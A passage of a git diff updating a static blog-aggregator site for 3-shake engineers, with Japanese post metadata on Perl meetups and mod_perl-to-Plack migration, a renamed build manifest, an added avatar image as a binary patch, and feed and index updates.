webhookを投げたり、SlackからOutgoing webhookを受けたりするProxy的なものです。コードは公開してないです。mod_perl to PSGI/Plack2月3月はmod_perlなプロジェクトをPSGI/Plack+Carton化をひたすらしていた感じです。このタスク自体は半期で終わらす予定なので、次の四半期も継続案件です。前回のGotanda.pmで話した件ですね。#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道があるmasasuzu.hatenablog.jp書いた記事1月H2データベースの話はGitbucketのDBの調子が悪くていったんデータをダンプしてDBファイルを作り直さなきゃいけなかった時の話のハズ。2014年に使った技術 - 目の前には僕らの道があるsudo -Hと環境変数($PATH)ではまった話 - ふり返る暇なんて無いねH2データベースのダンプ、リストアをする - ふり返る暇なんて無いね#chibapm Chiba.pm #6 に参加してきた - 目の前には僕らの道がある2月tmuxでwindow番号を変更したい - ふり返る暇なんて無いねperl5.16から overloadが\\"overload arg \'\\"\' is invalid \\"みたいなwarningを吐き出した - ふり返る暇なんて無いね情報共有に関してもやもや思ってること - ふり返る暇なんて無いね3月3月はちょっと古めのコードをいろいろいじっててはまっていたらしいですね。Perl 5.18からsmart matchはexperimentalなので使わないで - ふり返る暇なんて無いねとあるプロジェクトのコードのあんちぱたーん - ふり返る暇なんて無いねDebian Packageのバージョンを比較したい。 - ふり返る暇なんて無いね開発二部でLTしてきた #でぶつー - 目の前には僕らの道があるFurl::S3でSSL接続エラーが出る件 - ふり返る暇なんて無いね#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話 - 目の前には僕らの道がある設定と処理をわけるということ - ふり返る暇なんて無いねUbuntu 12.04で/tmpがおかしくてうまく起動しなかった件 - ふり返る暇なんて無いね次の四半期お仕事的には引き続きmod_perlを無くしていく作業を続けていると思います。お仕事外で現状これといってやりたいことはないんですが、最近仕事外のコードをあまり書いてないので、その辺少し改善できたらなとは思いまする。","isoDate":"2015-03-30T01:00:00.000Z","dateMiliSeconds":1427677200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #4 話してきた話","link":"https://blog.masasuzu.net/entry/2015/03/26/gotanda.pm_4","contentSnippet":"Gotanda.pm Perl Technology Conference #4 (2015/03/25 19:30〜)gotanda-pm.connpass.comだいぶ昔のmod_perlで動いているプロジェクトをPSGI/Plack化するために現在進行形で作業してるよという話です。直前に書き上げてリハーサル全くしないまま本番で話したので、全然時間が足りなかったです。#gotandapm つらいしか言わずに終わってしまった— masasuzu? (@masasuz) March 25, 2015さて、古いmod_perlなプロジェクトも新しめのプロジェクトと同じスキームに載せて動くように現在進行形で動いているところです。それはそれとして大人のGotanda.pmも面白そうですね。とはいえ、ソンナニ闇ハカカエテナイデスヨ。全然。大人のGotanda.pmとかやって, GXやMFのインフラ部署の人に闇語ってもらいたい #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015ちなみに、新しめのプロジェクトで使っているスキームはそういえば、Gotanda.pm #1で話したくらいに作っていたようです。#gotandapm Gotanda.pm Perl Technology Conference #1に参加した LTした - 目の前には僕らの道があるmasasuzu.hatenablog.jp会場をお貸しいただいたGaiaxさんありがとうございました。運営のみなさんもお疲れ様でした。ありがとうございました。Gotanda.pmお疲れ様でした. 会場やUstreamは如何でしたでしょうか. 今回のように, 弊社セミナールームは勉強会会場として貸し出す事も出来ますので, 使ってみたいという方は @__papix__ までご連絡下さい. #gotandapm— パブリシティ権放棄型 (@__papix__) March 25, 2015蛇足ですが、Gaiaxさんのすぐ近くの麺彩房の油そば好きです。五反田ぴーえむ pic.twitter.com/6UBO7Y6fDi— masasuzu? (@masasuz) March 25, 2015","isoDate":"2015-03-26T13:38:13.000Z","dateMiliSeconds":1427377093000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-03-25_gotanda.pm4 ","link":"https://speakerdeck.com/masasuzu/2015-03-25-gotanda-dot-pm4","contentSnippet":"mod_perlなプロジェクトをPSGI/Plack対応しようとしてる話。","isoDate":"2015-03-25T04:00:00.000Z","dateMiliSeconds":1427256000000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"開発二部でLTしてきた #でぶつー","link":"https://blog.masasuzu.net/entry/2015/03/17/220240","contentSnippet":"開発二部という社内の部活でLTをしてきました。最近古めのプロジェクトを多少モダンにするタスクをしてるので、そのあたりで得た知見を書いてます。特に何かを批判したいわけではなく、こういうのはよくないから、新しいプロジェクトではこういうことは避けると幸せになりやすいよと言いたいだけです。よくないコードは直すだけです。ただdisって何もしないのはよくないですし、そういうことをしたいわけではないです。","isoDate":"2015-03-17T13:02:40.000Z","dateMiliSeconds":1426597360000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-03-17_dev2_LT","link":"https://speakerdeck.com/masasuzu/2015-03-17-dev2-lt","contentSnippet":"#でぶつー でのLT\\r\\r最近関わったプロジェクトで得た、これはなるべくやって欲しくないことをざっくり挙げていきました。\\r将来のプロジェクトで同じ轍を踏まないように書き残しておきます。","isoDate":"2015-03-17T04:00:00.000Z","dateMiliSeconds":1426564800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-01-24_chiba.pm6","link":"https://speakerdeck.com/masasuzu/2015-01-24-chiba-dot-pm6","contentSnippet":"","isoDate":"2015-01-24T05:00:00.000Z","dateMiliSeconds":1422075600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-11-28_Elasticsearch","link":"https://speakerdeck.com/masasuzu/2014-11-28-elasticsearch","contentSnippet":"社内でElasticsearchを導入した時の説明資料","isoDate":"2014-11-28T05:00:00.000Z","dateMiliSeconds":1417150800000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-10-11_chiba.pm5","link":"https://speakerdeck.com/masasuzu/2014-10-11-chiba-dot-pm5","contentSnippet":"アプリケーションのログ収集/監視ほかの会社はどうしてるのかしら?というお話","isoDate":"2014-10-27T04:00:00.000Z","dateMiliSeconds":1414382400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-09-18_gotanda.pm2","link":"https://speakerdeck.com/masasuzu/2014-09-18-gotanda-dot-pm2","contentSnippet":"連続ログインを支える技術。\\rsshログインでも連続ログインチェックしたい!!!的な話","isoDate":"2014-09-17T04:00:00.000Z","dateMiliSeconds":1410926400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2014-06-11_gotanda.pm","link":"https://speakerdeck.com/masasuzu/2014-06-11-gotanda-dot-pm","contentSnippet":"とある企業のPerlモジュール管理の歴史","isoDate":"2014-06-11T04:00:00.000Z","dateMiliSeconds":1402459200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"}]')}}]); \ No newline at end of file diff --git a/_next/static/kylJxHQl-Q7H_TMHaEHZR/_buildManifest.js b/_next/static/oU_n95RGLi69Ba0jG0Y2K/_buildManifest.js similarity index 78% rename from _next/static/kylJxHQl-Q7H_TMHaEHZR/_buildManifest.js rename to _next/static/oU_n95RGLi69Ba0jG0Y2K/_buildManifest.js index bcebccf660..cb29e7f67a 100644 --- a/_next/static/kylJxHQl-Q7H_TMHaEHZR/_buildManifest.js +++ b/_next/static/oU_n95RGLi69Ba0jG0Y2K/_buildManifest.js @@ -1 +1 @@ -self.__BUILD_MANIFEST=function(e){return{__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":[e,"static/chunks/pages/index-40afea4d865133d1.js"],"/404":["static/chunks/pages/404-5e722f54ff28faef.js"],"/_error":["static/chunks/pages/_error-e4f561a102d9bb14.js"],"/members":[e,"static/chunks/pages/members-de376a91a8f58e61.js"],"/members/[id]":[e,"static/chunks/pages/members/[id]-fa4563d96c58aa0a.js"],sortedPages:["/","/404","/_app","/_error","/members","/members/[id]"]}}("static/chunks/983-242306168399638f.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); \ No newline at end of file +self.__BUILD_MANIFEST=function(e){return{__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":[e,"static/chunks/pages/index-40afea4d865133d1.js"],"/404":["static/chunks/pages/404-5e722f54ff28faef.js"],"/_error":["static/chunks/pages/_error-e4f561a102d9bb14.js"],"/members":[e,"static/chunks/pages/members-de376a91a8f58e61.js"],"/members/[id]":[e,"static/chunks/pages/members/[id]-fa4563d96c58aa0a.js"],sortedPages:["/","/404","/_app","/_error","/members","/members/[id]"]}}("static/chunks/983-092b9eda4d700a84.js"),self.__BUILD_MANIFEST_CB&&self.__BUILD_MANIFEST_CB(); \ No newline at end of file diff --git a/_next/static/kylJxHQl-Q7H_TMHaEHZR/_ssgManifest.js b/_next/static/oU_n95RGLi69Ba0jG0Y2K/_ssgManifest.js similarity index 100% rename from _next/static/kylJxHQl-Q7H_TMHaEHZR/_ssgManifest.js rename to _next/static/oU_n95RGLi69Ba0jG0Y2K/_ssgManifest.js diff --git a/avatars/iota.jpg b/avatars/iota.jpg new file mode 100644 index 0000000000000000000000000000000000000000..8d3b41f46a04263150b7c8dbf6db6b9a9fe1b905 GIT binary patch literal 10697 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 U6fOW+`tASJkN+Ln)4S>a1H`b2TmS$7 literal 0 HcmV?d00001 diff --git a/feed.xml b/feed.xml index 848f7b6036..d5213bebe2 100644 --- a/feed.xml +++ b/feed.xml @@ -4,7 +4,7 @@ 3-shake Engineers' Blogs https://blog.3-shake.com 3-shake に所属するエンジニアのブログ記事をまとめています。 - Wed, 08 Jan 2025 22:33:53 GMT + Thu, 09 Jan 2025 08:37:00 GMT https://validator.w3.org/feed/docs/rss2.html https://github.com/jpmonette/feed ja @@ -19,7 +19,7 @@ https://syu-m-5151.hatenablog.com/entry/2025/01/07/220406 https://syu-m-5151.hatenablog.com/entry/2025/01/07/220406 Tue, 07 Jan 2025 13:04:06 GMT - aa: サイドバーの表示ar: サイドバーの更新af: サイドバーのフォーカス切り替えae: 選択したブロックの編集他ブログでのavante.nvimの紹介zenn.devまとめ開発者の間で「AIエディターこそが主流」という声が広がっていますが、Vimmerは愛用のNeovimを手放す必要はありません。avante.nvimの導入により、Neovimの使い慣れた操作性を維持したまま、最新のAI支援機能を活用することが可能です。特筆すべき点として、GitHub Copilotをプロバイダーとして使用することで、追加のAPIキー設定なしで高度な機能を利用できます。また、洗練されたサイドバーUIにより自然な開発ワークフローを実現し、aaなどのシンプルなキーマッピングで直感的な操作を可能にします。Neovimの最大の魅力である圧倒的なカスタマイズ性を活かしながら、このプラグインを通じてAIパワード開発環境へと進化させることができます。プラグインは現在も活発に開発が継続されており、今後さらなる機能追加が期待できます。PDEとしてのNeovimの魅力を保ちながら、最新のAI支援機能を活用したいVimmerにぜひお勧めのプラグインです。最後に一言。「おい、お前、それは本当にvimmerか?」という声が聞こえてきそうです。しかし、私たちvimmerは常に進化を続けています。新しい技術を取り入れながらも、Vimの哲学と向き合い続けることもまた、vimmerの在り方の一つなのではないでしょうか。]]> + aa: サイドバーの表示ar: サイドバーの更新af: サイドバーのフォーカス切り替えae: 選択したブロックの編集他ブログでのavante.nvimの紹介zenn.devまとめ開発者の間で「AIエディターこそが主流」という声が広がっていますが、Vimmerは愛用のNeovimを手放す必要はありません。avante.nvimの導入により、Neovimの使い慣れた操作性を維持したまま、最新のAI支援機能を活用することが可能です。特筆すべき点として、GitHub Copilotをプロバイダーとして使用することで、追加のAPIキー設定なしで高度な機能を利用できます。また、洗練されたサイドバーUIにより自然な開発ワークフローを実現し、aaなどのシンプルなキーマッピングで直感的な操作を可能にします。Neovimの最大の魅力である圧倒的なカスタマイズ性を活かしながら、このプラグインを通じてAIパワード開発環境へと進化させることができます。プラグインは現在も活発に開発が継続されており、今後さらなる機能追加が期待できます。PDEとしてのNeovimの魅力を保ちながら、最新のAI支援機能を活用したいVimmerにぜひお勧めのプラグインです。最後に一言。「おい、お前、それは本当にvimmerか?」という声が聞こえてきそうです。しかし、私たちvimmerは常に進化を続けています。新しい技術を取り入れながらも、Vimの哲学と向き合い続けることもまた、vimmerの在り方の一つなのではないでしょうか。]]> <![CDATA[Rustで花火アニメーションと新年メッセージを作ろう]]> diff --git a/index.html b/index.html index 03c80d51ff..e75486c2bb 100644 --- a/index.html +++ b/index.html @@ -1 +1 @@ -3-shake Engineers' Blogs

3-shake Engineers' Blogs

3-shake に所属するエンジニアのブログ記事をまとめています。

Articles

© 3-shake Inc.

